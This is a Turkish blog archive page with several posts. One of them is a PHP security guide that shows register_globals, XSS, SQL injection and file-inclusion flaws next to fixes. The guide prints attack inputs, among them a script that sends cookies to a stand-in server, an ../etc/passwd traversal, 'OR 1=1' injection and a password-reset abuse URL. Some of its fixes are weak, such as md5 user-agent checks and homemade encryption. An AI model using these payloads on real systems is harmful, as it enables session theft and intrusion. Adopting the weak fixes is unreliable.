Menü

Tag Archives | rapor

“Beni hackleyebilir misin?”

Uzun zamandır takip ettiğim ve Türkiye’de Network ve Güvenlik konularında başarılarını örnek aldığım kişi olan Huzeyfe Onal ve ekibinin IstSec ile geçen hafta güzel bir konferansa imza attıklarını duyurmuştum. Bir önceki yazımda… Bu hafta’da IstSec’in ikinci gününde yer alan ve Huzeyfe Önal tarafından geliştirilen sistem üzerinde bir yarışma gerçekleştirildi ama biraz da gizli kalmak isteyen arkadaşların ön plana çıkmak istememelerinden olsa gerek ki yarışmada bunu başarabilen olmadı ve sonrasında da online olarak bunu başarılabileceğini düşünerek CTF’yi İnternet üzerinden yapılması kararını vermişler.

Yarışmayı Huzeyfe Hoca’nın bloğunda ki alıntı ile kendi kelimeleri vasıtasıyla tanıtımını yapmak istedim;

Hep tartışılmıştır Türkiye’de hackerların sayısı ve kalifiye oranı… 8-9 yıldır az çok bu işin içerisinde biri olarak pek kalifiye hackerimiz olmadığını düşünürüm(çok iyi olanlarin varlığını da biliyorum). Zira bizde hacking  daha çok defacement, “kendi tabirleriyle index atma” üzerine kurulu. Güvenlik dünyasının önde gelen firmalarının hazırladığı  siber tehdit raporlarında da bu düşünceme kanıt olacak sonuçlar var.

IstSec organizasyonlarında bu tip hacker arkadaşları CTF yarışmasına davet ettik ama hepsi bir şekilde uzaktan seyretmeyi seçti. Biz de madem kendinizi göstermek istemiyorsunuz size online bir yarışma açalım kendinizi gösterin dedik ve HackMe!yarışmasını açtık. Şimdilik sunucu kurulum işlemleriyle boğuşuyorum, çok yakın zamanda yine buradan ve çeşitli ortamlardan duyurusunu okuyacaksınız.

HackMe! yarışmasının amacı sistemler üzerinde alınan basit güvenlik önlemlerinin ne kadar hayat kurtarıcı olacağını ve yine sistemler üzerinde alınmayan basit güvenlik önlemlerinin nelere yolaçabileceğini göstermek. Yani ortada  çeşitli güvenlik açıklıkları içeren bir/birkaç sistem var ve sizlerden bu açıklıkları bulup sistemi ele geçirmeniz isteniyor. Hediyesi ise gayet tatmin edici:) (bkz:IstSec CTF hediyesi). Sistem kesinlikle hacklenemez değil, sadece hackleme için biraz bilgi ve bu bilgiyi kullanabilecek tecrübe gerekiyor.

IstSec’de Akşam gazetesinden bir arkadaşla bu konuyu konuşmuştuk sağolsun o da duyurusunu yapmış (başlığa bakarak aldanmayın, klasik medya oyunu başlık,  yoksa böyle birşey elbette denilmez:)

http://www.aksam.com.tr/2009/12/19/haber/cumartesi/527/zekasina_guvenen_hacker_varsa_beni_hack_lesin_.html

Bakalım bu şekilde başarabilecekler birileri çıkacak mı?  Bunu zaman gösterecek.

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Blog Yazarlığı Anketi.

Bayram sonrası bir türlü kendime zaman ayıramıyorum bırakın bloğuma bakmayı google readerımı bile açamadım. Ama artık biraz daha sakinleşmeye temposunu birazcıkdaha azaltmaya başladım hayatın son bir yolculuğum daha kaldı bu gece Konya’ ya dönüyorum böylece son 1 ayda 3.  ve sonuncu  git gelim olacak. :)

Neyse kendimden daha sonra yinede bahsederim asıl konumuza dönelim. Volkan Yılmaz arkadaşımızın bloğunu sürekli takip ediyorum ve gerçekten blog dünyasında 4. yılını dolduran ender insnalardan biri olması ile tecrübe ettiğim bir çok tavsiyesiye yer veriyor kendi bloğunda. Yine bloğunu takip ederken tüm blog yazarlarını yakından ilgilendiren bir konuyuda sizlerle paylaşmak istedim. direk alıntı yapıyorum orjinalliği korumak adına buyrun arkadaşlar.

Merhaba sevgili arkadaşlar 15 Ocak tarihinde sona erip sonuçları açıklanacak bir olan Türkiye’de Blog Yazarları başlıklı ankete ysanız bu adrese giderek katılmanızı rica ediyorum.

Bu Internet‘te sosyal ağlar, bloglar ve yeni nesil medya temalı bir akademik çalışma için kullanılacaktır, bu yönde yazarlarının bilgi ve tecrübelerine başvurmak istemişler.

Anketi hazırlayan Murat, FriendFeed başlığında anketi hazırladığı zamanda 15 Aralık’da sonuçları açıklama hedefiyle yola çıksa da düşük bir katılım olmasından dolayı süreyi 15 Ocak tarihine kadar uzattı ve destek istedi, bu tarihe kadar siz de eğer bir ysanız minik anketi doldurabilir ve bu çalışmaya katkı sağlayabilirsiniz.

turkiye-de-blog-yazarlari-anketi-1

Siz de bunu diğer yazarlarına duyurmak isterseniz adresi: http://twshot.com/?6YL

Katılımlarınızı bende bekliyorum ve unutmayın blog ve blog kullanımı birbirimize verdiğimiz destekle gelişecektir.

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

PHP için önemli güvenlik önlemleri.

PHP’nin güvenlik zafiyetleri olduğu, bir çok anlamda yetersiz bir dil olduğu söyleniyor. Hatta Unix camiasının istenmeyen çocuğu gibi. Görüşüm, bu durumun, kaliteli PHP programcılarının (PHP Hackers) olmamasından ve PHP’nin nispeten kolay öğrenilen bir dil olmasından kaynaklanıyor. Bu  da ilk olarak güvenlik konusunda zafiyetlere yol açıyor. Şimdi güvenlik konusuna girelim.Şu kesin; hiç sağ elinle sol kulağını tutmadan, bazı yöntemleri uygulayarak güncel web zafiyetlerinin %80 inden kaçmak mümkün. Ve bu PHP’de çok kolay bir şekilde yapılabilir.

1.Register Globals

Her güvenlik yazısında yüzlerce kere değinilmesine rağmen hala Register Globals kullanabilecek insanların olması ürkütücü! Bilindiği gibi Register Globals, $_Request (POSTve GET) değişkenlerini sanki o belgede tanımlanmış değişkenlermiş gibi göstererek direk o değişkene erişilmesine olanak verir.

Örnek:
register_globals.php
<?php
echo $ornek;

?>

http://localhost/php_guvenlik/register_globals.php?ornek=deneme diye sayfadan çağrıldığında ekranda “deneme” yazıldığını göreceksiniz. ornek=deneme kısmını değiştirerek “ornek” değişkeninin değerini de adres çubuğundan kontrol edebilirsiniz. Ne büyük bir delik değil mi? Neyse ki register globals artık öntanımlı olarak kapalı geliyor ve PHP 6 ile birlikte de dilden çıkarılıyor. Eğer böyle bir global değişkene ihtiyaç duyan bir web uygulamanız varsa kodları komple gözden geçirmelisiniz.

2.Form Değişkenlerin Kontrolü ve Cross Site Scripting

Yine yüzlerce kere değinilen bir konu, motto şu: “Kullanıcıya asla güvenme!” . Kullanıcıdan aldığımız her şeyi önce acaba bu nükleer bir atık mı, hediye paketi süsü verilmiş bir bombamı, yoksa masum bir istek mi diye eldivenleri takıp laboratuar şartlarında incelememiz gerekir. Bir örnek vermek gerekirse şu yeter sanırım:

2003 yılında Hotmail Passport hesabında şöyle bir olay gerçekleşmişti:

https://register.passport.net/emailpwdreset.srf?lc=1033&em= kurban@hotmail.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır &id=&cb=&prefem= hacker@attacker.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır &rst=1 bu şekilde kurban@hotmail.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır kullanıcısının bilgileri hacker@attacker.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır maline gönderiliyordu. Ve bu açığa sebep olan Microsoft gibi bir şirket idi! Buradan hareketle mail adresi ve kullanıcı adının girildiği ve karşılığında parola kurtarma mailinin adresinize geldiği bir senaryo:

<form action=”reset.php” method=”GET”>
<table>
<tr><td>Kullanıcıadı</td><input type=”text” name=”kad”/></td></tr>
<tr><td>Parola</td><input type=”text” name=”email”/></td></tr>
<tr><td></td><td><input type=”submit” value=”Kurtar” /></td></tr>
</table>

</form>

http://localhost/reset.php?kad=osman&email=

osman@orhan.com

Bu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır

<?php
$kad    = $_GET[‘kad’];
$email = $_GET[‘email];
function kurtar($kad ,$email)
{
//Kullanıcı adını veritabanından sorgula ve email adresine gerekli bilgileri yolla.
}
?>

http://localhost/reset.php?kad=kamuran&email=

osman@osman.com

Bu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır

ile kamuran isimli kullanıcının bilgileri

osman@osman.com

Bu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır

a gönderiliyor.

Sırf siz email adresini kontrol etmediğiniz için. Güvenlik için kullanıcıdan gelen verileri kontrol etmeliyiz, $email değişkenindeki değerin bir email olup olmadığını küçük bir email_valid() fonksiyonu ile yapabiliriz ayrıca adresinin bu kullanıcıya ait olup olmadığını kontrol etmeliyiz, ondan sonra email adresine bir mail geçebilirsiniz!

Owasp Top #1 XSS

XSS nedir?

“XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doğrulama işlemine tabi tutmadan sayfaya göndermesi ile oluşur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir .”

Hemen bir örnek verelim, burada kullanıcının oturum bilgileri çalınarak benimsunucum.org adresine gönderiliyor.

<form action=”yorum.php” method=”GET” />
İsim: <input type=”text” name=”ad” /><br />
Yorum: <textarea name=”yorum” rows=”10″ cols=”60″></textarea><br />
<input type=”submit” value=”Yorumla” /></p>
</form>
yorum.php
<?php
$ad    = $_POST[‘ad’];
$yorum  = $_POST[‘yorum’];
echo “<p>$ad nın yorumu <br />”;
echo “<blockquote>$yorum</blockquote></p>”;
?>

İşte burada devreye giriyor. Yollanan veriler http://sizinsite.com/yorum.php?ad=osman&yorum=yorum gibi gitmesi gerekirken cin fikirli bir kullanıcı bu adresi şöyle değiştiriyor:

http://sizinsite.com/yorum.php?ad=osman&yorum=<script>document.location=’http://benimsunucum.org/kaydet.php?cookies=’ + document.cookie </script>

yazarak oturum bilgilerinizi kaydediyor. Verilerin POST ile gönderilmesi buna bir çözüm olabilir diyorsanız yanılıyorsunuz. Zira GET ve POST metotlarının ikiside kolayca manipüle edilebiliyor. Sadece POST ile adres satırında alenen değil  gizli şekilde yapılıyor. Bu web programcılarının yaptığı en büyük zafiyet. Bunun için gelen veriler önce bir değerlendirmeye alınmalı, daha sonra kullanılmaya gönderilmelidir. Şunun gibi güvenli bir kod yapılabilir.

$ad    = htmlentities($_POST[‘ad’], ENT_QUOTES, ‘UTF-8′);
$yorum = htmlentities($_POST[‘yorum’], ENT_QUOTES, ‘UTF-8′);
strip_tags() ile de bu iş çözülebilir, strip_tags() fonksiyonu değişkendeki bütün html taglarını siler.(Aldığı ek parametre ile bazı etiketlere izin verebilirsiniz.) htmlentities ise değişkendeki html etiketlerini bir htmlentities tablosundaki değerlerle değiştirip değişkeni güvenli hale getirir.
Burada girdileri kontrol ediyoruz ama can sıkıcı bir başka durum ise kontrol edilmeyen veya gözden kaçmış bir alanın yanlışlıkla veritabanına alınması ve kullanıcıya gösterilmesi esnasında yani çıktı kısmına problem oluşturması. Eğer değişkenleri kontrollü alıyorsanız problem yok ama atlanılabilecek bir durum sözkonusu olabilir diye kullanıcıya verilerin sunulması aşamasında da htmlentities ve benzeri html tagl ayıklayıcılarıyla kontrol edilirse çifte güvenlik sağlanmış olur. Mesela kullanıcıya veritabanına bilgi girmeden önce “önizleme” (preview) sunan bir değişken böyle bir soruna yol açabilir.

SQL Injection

Örnek bir formumuz olsun:

<form action=”giris.php” method=”POST”>
<table>
<tr><td>Kullanıcıadı</td><input type=”text” name=”kad”/></td></tr>
<tr><td>Parola</td><input type=”password” name=”parola”/></td></tr>
<tr><td></td><td><input type=”submit” value=”Gir” /></td></tr>
</table>
</form>

Şimdi bu formu işleyen PHP kodumuza bakalım:

<?php
$kadi    = $_POST[‘kad’];
$parola = $_POST[‘parola’];
$db->query(“SELECT * FROM kullanici WHERE kadi = ‘$kadi’ AND parola = ‘$parola'”);
?>

Kodu fazla detaylandırmadan hemen hatalara bakalım. Kullanıcıdan gelen veriler kontrol edilmede direk veritabanında işleme alındı. En büyük zafiyetlerden birisi bu. Mottomuzu hatırlayalım. Kullanıcıya asla güvenme! Mesela kullanıcı adı kısmına şu yazılsa:

root – eğer varsa root kullanıcı bilgilerini ekrana dökecekti. SQL de “–“ işareti yorum başlangıcını ifade eder. Yani koddaki geri kalan AND parola = ‘$parola’ kısmı artık yok oldu. Ya da şu şekilde bir kod enjekte edilebilir.

kullaniciadi = ‘osman’ OR 1 =1

kullanıcıadı kısmına osman or 1=1 yazılarak tüm kullanıcıların bilgisine ulaşılınabilinir. Pis bir elmayı yıkamadan yemek gibi. Hasta olmamak için önce elmayı yıkamamız gerekli. Öncelikle daha önce belirttiğimiz gibi html filtreleyicileri kullanılmalı:

$kad = htmlentities($_POST[‘kad’], ENT_QUOTES, ‘UTF-8′);
$parola = htmlentities($_POST[‘parola’], ENT_QUOTES, ‘UTF-8′);

Daha sonra klasik SQL sınıfları yerine PDO gibi bir sınıf kullanarak (Dilin doğal kütüphanesi olduğu için bunu tercih ediyorum ) veriler veritabanından sorgulanmalı;

$query=$db->prepare(“SELECT * FROM kullanici WHERE kullaniciadi = :kad AND parola = :parola”);
$query->bindparam(‘:kad’,$kad,PDO::PARAM_STR);
$query->bindparam(‘:parola’,$parola,PDO::PARAM_INT);
$query->execute();
$kullanici = $query->fetch();

Burada kad bir string ve parola bir integer değer olarak sorgulanıyor. Bunların dışındaki değerler için $query->execute() işlemi gerçekleştirilmiyor. Bu yöntem (prepared statments) sql injection saldırılarını %99 azaltabilir (belki %99,9) fakat diğer bir özelliğide normal sql sorgularına göre hızlı çalışması. Yani güvenliği ön plana çıkaryım derken çoğu zaman performanstan kayıp yaşanır ama ama burada bu iş tersine dönüyor. Bu da SQL injectionu savuşturmada elimizi güçlendiriyor.

Session İşlemleri

SESSION işlemleri bir çok web uygulamasının kullanıcı ve oturum yönetiminde kullanılıyor. Ama sadece browserda depolanan SESSION cookie lerini kullanarak oturum yönetimi yapan uygulamalar güvensiz uygulamalardır. Kötü niyetli kullanıcı XSS açıklarından yararlanıp browserda depolanan SESSIONID leri çalarak  , bu SESSIONID ile  siteye gelip o kullanıcıyı taklit ederek bilgilerine ulaşabilir. Bundan dolayı her sayfa için belli bir anahtar ve değer ikilisi kullanmak şu an için en mantıklı çözüm:

$_SESSION[‘anahtar’] = md5($_SERVER[‘HTTP_USER_AGENT’]);

ve SESSION kullanan sayfalarda bir kilit yapıp bunların uyup uymadığını kontrol edebilirsiniz.

$kilit = md5($_SERVER[‘HTTP_USER_AGENT’]);
if($_SESSION[‘anahtar’] == $kilit){
// İşlem yap
}
else{
// İşlemi bitir.
}

Kendi şifreleme algoritmalarınızı oluşturabilir ve sayfalar arasında iletişim kuran verileri bu algoritma ile şifreleyip geri şifreyi çözerek uygulamayı kendi içinde güvenli hale getirebilirsiniz.

Dosya Enjektesi ve RFI

Bazı sınıflarınızı PHP nin include veya require methodlarıyla diğer dosyaların içinden çağırabilir ve kod karmaşasının önüne geçebilirsiniz. Bunun için kullanılınan include ve require methodları tahmin etmediğiniz açıklara sebep olabilir.

if(isset($page))
{
include($page);
}

Burada $page değişkeniyle gelen değer varsa direk include ediyoruz. Mantıklı olan dosyayı direk değil kontrol ederek require_once metoduyla sayfaya dahil etmek.

Include , include_once ve require, require_once _once takısı alan metod daha önce o dosyanın dahil olup olmadığına bakar yani siz sayfanın belli yerlerinde tek bir kod çalıştırmak istiyorsunuz. Diyelim ki tarih.php sayfasında bir tarih-saat formatınız var ve onu sayfanın farklı yerlerinde ekrana basmak istiyorsunuz.

include(‘tarih.php’); // tarihi bastı
include(‘tarih.php’); // yine tarihi bastı
Oysa

include_once(‘tarih.php’); // tarih basıldı

include_once(‘tarih.php’); // daha önce bu include işlemi gerçekleştirildiği için tekrarlanmadı.

Yapılan testlerde require_once nin en  hızlı yöntem olduğu gözlenmiştir.

Mesela sayfaların farklı alanlarını göstermek için şöyle bir kod kullanıyor olalım:

index.php?sayfa=iletisim.html

PHP kodu:

<?php
$sayfa = $_GET[‘sayfa’];
include ‘$sayfa’;
// veya echo $sayfa;
?>

Masumca iletişim sayfasını göstermesi gereken kodumuza bir de şimdi bakalım:

index.php?sayfa=../etc/passwd

Ekrana sunucunun root kullanıcı bilgileri geldi! Evet elimizle sunucuyu verdik. Sisteme tam yolu göstererek sayfaya dâhil etmek ve require_once metodunu kullanarak bu zafiyeti atlatabiliriz.

$dir = ‘./inc/’;

require_once $dir . $sayfa ;  // sadece inc içindekileri require edebilir.

PHP Tip Denetimi ve Güvenlik

PHP de tip denetim yapısı katı değildir ve bu güvenlik sorunlarını tetiklemektedir. Uygulamanızda değişken tiplerinin neler olduğunu bilmek ve mantıksal olarak kullanıcıdan gelen değişkenlerin türünü bilmek birçok durumda hataları ortadan kaldırabilir. Mesela kullanıcının yaşını getiren bir form değişkenimiz olsun;

$yas = $_POST[‘yas’]

Şimdi bu “$yas” değişkeninin sadece tamsayı olmasını bekleriz, ama oradan biraz önce bahsettiğimiz gibi farklı şeyler gelebilir. Bunun için $yas değişkenin gerçekten beklediğimiz “tamsayı” türünden bir değişken mi yoksa farklı türden bir değişken mi gelmiş bir bakalım.

Yöntem-1

if(is_int($yas)){
echo ‘Yaş bir tamsayı';
}
else{
echo ‘Hata! Yaş kısmında XSS!';
}

Burada değişkenin türüne bakılıyor eğer tamsayı ise izin veriliyor yoksa hata veriyor.

Yöntem-2

$yas = (int) $_POST[‘yas’];

bu yöntemle $yas değişkenini bir tamsayıya çevirdik. Eğer yaş değişkeninden “<script> … </script>” gibi bir değer gelirse (int) yöntemi onu hemen bir tamsayıya çeviriyor. Burada $yas = 0 oluyor ve “<script> … </script>” kısımlar etkisiz hale getiriliyor. settype(), gettype(),is_string(),is_int(),is_float(),is_bool() fonksiyonlarıyla tür kontrollerini yapabilirsiniz. Ve bu fonksiyonlar güvenli web uygulamaları geliştirmenizde çok işinize yarayacaktır.

Uzunlukları Kontrol Etmek

Gelen değişkenlerin uzunluklarını kontrol etmek de bazı durumlarda çok işinize yarayabilir. Yine mantıksal adımlarla ilerleyelim. Mesela bir formdan kişinin kullanıcı adı ve parolasını alalım. Veritabanında bu bilgiler VARCHAR türü 12 karakterle tutulan bir alan olsun. Gelen form verilerini direk işleme sokmak yerine önce kaç karakterli olduklarına bakalım.

$kullaniciadi = $_POST[‘kullaniciadi’];
$parola = $_POST[‘parola’];
if(strlen($kullaniciadi) > 12 || strlen($parola) > 12 )
{
echo ‘Bu kullanıcı başka bir şeyin derdinde!';
}
else
{
echo ‘İşlem tamam!';
//Giriş işlemleri.
}

Buradaki kodda kullanıcıadı ve parola değişkenlerinin uzunluklarını kontrol edip 12 karakterden büyük olup olmadıklarına baktık. Eğer herhangi birisi 12 karakterden uzunsa hata verilmesini sağladık. Bu işlem ile URL Encode , Desimal ve Heksadesimal HTML ataklarına karşı sizi koruyabilir. Son Olarak hata raporlarının yanlış tanımlanması  büyük sorunlara yol açmasa da haşarı cracker arkadaşlara tahminlerde bulunulmasına ve büyük açığın tespit edilmesinde yardımcı olabilir.

error_reporting(E_ALL);

ile bütün hataları ekrana basarsınız. E_ALL yerine farklı seçeneklerle bu durumun önüne geçebilirsiniz.

www.bilgiguvenliği.gov.tr adresinden osman beyin yazısından alıntıdır.

Tags: , , , , , , , , , , , , , , , , , , , ,

100 Bin Dizüstü Pili Geri Çağırılacak


Japonya’dan yapılan açıklamaya göre, HP ve Toshiba’nın da içinde bulunduğu 5 büyük bilgisayar firması 100 bin dizüsti bilgisayar pilini geri çağırmaya hazırlanıyor.

Sony, 5 büyük firma için üretmiş olduğu 100 bin dizüstü bilgisayar pilinin yangın tehlikesi taşıdığını duyurdu. Bilgisayarlar 2004 ve 2006 yılları arasında satıldı.

Yapılan açıklamada bu geri çağırma operasyonundan dolayı Sony’nin büyük bir ciro kaybı yaşamayacağı belirtiliyor.

2006 yılında 9.6 milyon Sony dizüstü pilinin geri çağırılması sonucu 360 milyon dolarlık kayıp yaşayan firma, 100 bin pili kapsayan yeni operasyonun, bir önceki büyük geri çağırma operasyonunun fraksiyonu olduğunu açıkladı.

PC üreticileri, yüksek ısınmaya bağlı 40 vaka raporlandığını, bu vakalardan 4’ünün ciddi yanıklara 21’inin ise alev ve yüksek ısınmaya bağlı hasarlara neden olduğunu belirtiyor.

Geri çağırılan 2.15Ah lityum iyon pillerin 74 bin adeti HP, 14 bin adedi ise Toshiba tarafından satılmış ürünlerde kullanıldı. Sony, pillerin ayrıca Dell, Acer ve Lenovo tarafından satılan bilgisayarlarda da kullanıldığını ifade ediyor. Arızalı piller 2004 yılının Ekim ayı ile 2005 yılının Haziran ayları arasında üretildi.

Firma, problemin fabrika değişimleri ve üretimde kullanılan hammaddelerin stoklanmasından kaynaklanan sebeplerden ötürü gerçekleşmiş olabileceğini ifade etti.

Problemin yaşandığı bilgisayar modelleri:
* HP Pavilion dv1000, dv8000, zd8000;
* Compaq Presario v2000, v2400;
* HP Compaq nc6110, nc6120, nc6140, nc6220, nc6230, nx4800, nx4820, nx6110, nx6120, nx9600;
* Toshiba Satellite A70/A75, P30/P5, M30X/M35X, M50/M55;
* Dell Latitude 110L, Inspiron 1100, 1150, 5100, 5150, 5160.

Tags: , , , , , , , , , , , , ,

İnternet %35 büyüyecek.

Şu sıralar zevkle takip ettim teknoloji haber portalı yahoyt.com da bugün ilgi çekici bir habere rastladım ve sizlerle paylaşmak istedim.

Bilgisayarla orta derecede ilgilenenler mutlaka bir yerlerde Cisco ismini duymuşlardır. dünya üzerindeki ağ sistemleri üreticilerinin başında gelen Cisco’nun geçtiğimiz günlerde yayınlamış olduğu Visual Networking Index (VNI – Görsel Ağ Endeksi) raporunda gerçekten çok ilginç rakamlar verilmekte.  Yapılan tahminlere göre  küresel internet trafiği yılda ortalama yüzde 46 artarak 2012 yılında hemen hemen yarım Zettabyte’a (522 Exabyte, ki bir Exabyte bir milyar Gigabyte’a eşit) ulaşacak. tabiki bunun temel sebebi de gün geçtikçe artan video paylaşımı, web2.0 teknolojileri kullanan sosyal ağlar ve birlikte çalışma uygulamaları olacaktir deniliyor. Yine aynı raporda İş dünyası tarafından oluşturulan internet trafiği ise 2007-2012 yılları arasında yılda ortalama yüzde 35 artacağına deyiniliyor. Rapordaki diğer rakamlar ise şu şekilde özetlenebilir.

• 2012 yılında global IP trafiği aylık 44 exabyte’a ulaşacak. Bu da 2007’nin aylık 7 exabyte’dan daha düşük trafiği ile karşılaştırıldığında oldukça yüksek bir artış oranına karşılık geliyor.
• 2002’deki global IP trafiğinin 5 exabyte olduğu düşünülürse sadece 10 yılda global IP trafiği 100 kat artmış olacak.
• Aralık 2011 ile Aralık 2012 arasındaki trafik artışı ise 11 exabyte’tan fazla olacak. Bu tek yıldaki artış, 2000’den bugüne gerçekleşen artıştan yüksek.
• 2008-2012 yılları arasındaki mobil veri trafiği artışı ise her yıl kendini ikiye katlayacak.

Allah internetin sonunu hayreylesin inşallah :)

Tags: , , , , , , , , , , ,

Google Adsense Karmaşası..

Dört gün önce adsense eski hesaplarımın kapatılmasındna dolayı ( ki sebebini inanın bende bilmiyordum :) ) tekrar başvuu yapmıştım. ve aldığım cevap oldukça net oldu  :)

Merhaba Serkan CURA, Google AdSense’e göstermiş olduğunuz ilgiye
teşekkür ederiz. Başvurunuzu gözden geçirirken, hesabınızın geçersiz
tıklama etkinliği nedeniyle devre dışı bırakılmış bir hesapla yakından
ilişkili olduğunu belirledik. Hem reklamverenlerimizin hem de diğer
AdSense yayıncılarımızın çıkarlarını korumakla yükümlü olduğumuz için
başvurunuzu onaylayamıyoruz. Ayrıca, AdSense programına gelecekte de
katılamayacağınızı belirtmek istiyoruz. Bunun sizin açınızdan
sıkıntılara yol açabileceğinin farkındayız ve anlayışınız ve
işbirliğiniz için şimdiden teşekkür ederiz. Hesabınız veya yaptığımız
işlemler hakkında sorularınız varsa, lütfen bu e-postayı yanıtlamayın.

https://www.google.com/adsense/support/bin/answer.py?answer=57153&hl=tr

adresini ziyaret ederek daha fazla bilgi edinebilirsiniz.
Saygılarımızla, Google AdSense Ekibi

Şimdi anlamadığım ben hiç bi yaptırım yapmadan ve es kaza haricinde kendimin tıklamadığım reklamların nasıl oluyorda geçersiz tıklama olarak kabul edip reddede biliyor gerçekten anlayabilmiş değilim. bunları kim inceliyo onuda bilmiyorum ama gerçekten geçerli bi sebep olduğuna inanmıyorum. Hadi warezden kapatılmış olsa gam yemiyeceğim. ForumSevdamın analytics istatistiklerine göre günlük 5000 üzerinde gösterim alıyor ve günlük ortalama tıklama sayısıda 30 u geçmiyorken o gösterime rağmen nasıl oluyorda geçersiz yıklama raporu çıkıyo bilen birileri anlatırsa  çok sevinicem neyse. bundan sonra anti-adsense fun açmaya karar verdim :)

Tags: , , , , , , , , , , , , , ,